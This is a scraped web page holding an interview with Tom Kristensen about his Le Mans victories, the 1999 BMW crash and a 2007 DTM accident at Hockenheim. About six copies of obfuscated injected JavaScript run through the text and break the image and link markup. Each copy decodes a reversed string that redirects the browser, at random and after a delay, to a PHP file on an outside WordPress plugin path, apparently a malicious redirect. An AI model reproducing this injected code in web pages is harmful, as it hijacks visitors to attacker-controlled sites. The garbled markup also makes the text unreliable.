$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Tom-Kristensen-24-Hours-Of-Le-Mans-Dubai-UAE-044.jpg” alt=”” width=”728″ height=”485″ />
Let’s move on then to your time with Audi and, of course, your Le Mans 24 Hours achievements. In 2004 you equalled Jackie Ickx’s 21-year record of six event victories. A year later in 2005 you made the record your own. Are you hoping to extend the streak?
“Le Mans always brings the best out of us, and it brings a lot of emotions too. You’re very motivated going into a race like Le Mans, and there has been a lot of great years. You’re not always winning, but it always takes the best of you. You always have to be very prepared and motivated to race there. Of course, there have been some very good years. We had a lot of wins in a row [six from 2000-05], but it’s always a big challenge. There’s a lot of preparation involved. That’s one of the reasons why I have enjoyed my years with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/audi/” target=”_blank”>Audi and Team Joest.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Tom-Kristensen-24-Hours-Of-Le-Mans-Dubai-UAE-003.jpg” alt=”” width=”728″ height=”485″ />
Even though six of your eight wins at Le Mans have been with Audi, your first was with Porsche in 1997 [the other with Bentley in 2003]. Your first big win: how did it feel?
“That was amazing! I’d tried for so many years to be a competitive package. At that point you feel like you’ve broken through and you get respected for your driving. You’re very happy, but at the same time you’re also very relieved. You’ve finally shown what any driver…the key for any driver is finding the right combination of talent, motivation and speed, and that win in 1997 proved that to me.”
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Eight wins is an amazing achievement but there’s a lesser known one that I find pretty incredible. You’ve competed at the Le Mans 24hrs 16 times now, and every time you’ve finished it’s been on the podium. Is there just something about La Sarthe that you can dial into?
“I’ve just been fortunate to be there with great teams and great cars. The main thing is you never give up, and you are always making sure you are alert and that you try to outline any particular challenge. Then you really try to go for it. So when I’m there, I always want to do my best. And this is quite easy to feel, particularly now, when you drive for one of the best teams in the world.”
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Interestingly one of your most famous races at Le Mans was one you ultimately didn’t win. That was the race in 1999 when your BMW crashed while in the lead [this is also the event when Mark Webber famously flipped his Mercedes CLR-GTR at high-speed. Twice]
“After the big win in 1997, I suddenly had for 1998 basically too many offers. After fighting throughout my career, hoping somebody would take me on-board, I had a lot of options. That was a very difficult period. It felt even more difficult to choose the right team than finding one at all!
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Tom-Kristensen-24-Hours-Of-Le-Mans-Dubai-UAE-015.jpg” alt=”” width=”728″ height=”485″ />
“At that time I was with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/bmw/” target=”_blank”>BMW, and we had a bad year in 1998. We retired very early on the race, due to wheel bearing issues. That was a bit of a fiasco. Then in Sebring in 1999, we were very well prepared, and we won. Then at Le Mans, with almost four laps lead unfortunately, my teammate JJ Lehto [F1, 1989-94, 2004 American Le Mans Series Champion and two-time Le Mans 24 Hours winner] had a failure on the car. It wasn’t his fault, but we crashed the car heavily. It was a real shame. In fact we were still leading for quarter of an hour after our retirement!”
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Considering your teammates Joachim Winkelhock, Pierluigi Martini and Yannick Dalmas went on to win the race in the other BMW V12 LMR, that must have been pretty hard to take…
“At that time, it was very difficult to accept. But in the autumn of 1999, I signed with Audi after visiting Audi Sport and meeting Dr Ullrich. That was the best decision I ever made, and we’ve had some great races since then. But the ‘99 race is always remembered. That’s Le Mans. You remember the bad as well as the good. You’re always developing your own personal history at Le Mans, and when something bad hits you, it helps to have the good times to look back on.”
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As well as your sportscar achievements with the marque, you also competed with Audi in the DTM [Deutsche Tourenwagen Masters] for seven seasons. One of your most famous races was the 2007 event at Hockenheim when Alexandre Premat hit you at full speed…
“It was 21st April 2007. There was a lot of energy involved, about +6gs in the car, and it took a long time to get over the headaches! They usually came with a high pulse. But I was fortunate that car was very strong. I know it looks very violent, but the body of a DTM car is very effective carbon, which is just there for aerodynamics. So that more or less just exploded. But the basic setup of a race car is very strong, so that saved me there. I still had to lay down for a few months afterwards!
“It didn’t help that car was parked! I created a lot of smoke after I span, which in hindsight was not the best. But I was looking to save the car from the barrier. The thing is that…you have to understand why these accidents happen and try to prevent these things. Once you’ve done that, then you can continue.”
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Is that something that the Audi team was working on during your time in the series?
“Of course the mechanics at Audi always do a fantastic job, and they are always putting a lot of effort into making sure the car is safe. As a driver, in the car you lift into a corner at the last possible moment, trying to optimise both the driving and the setup. But if, like in 2007, if I happen to be starting at the front of the grid, and park the car after a couple of corners in the middle of the track, there’s always the possibility that somebody will not lift! You can’t always plan for that.”
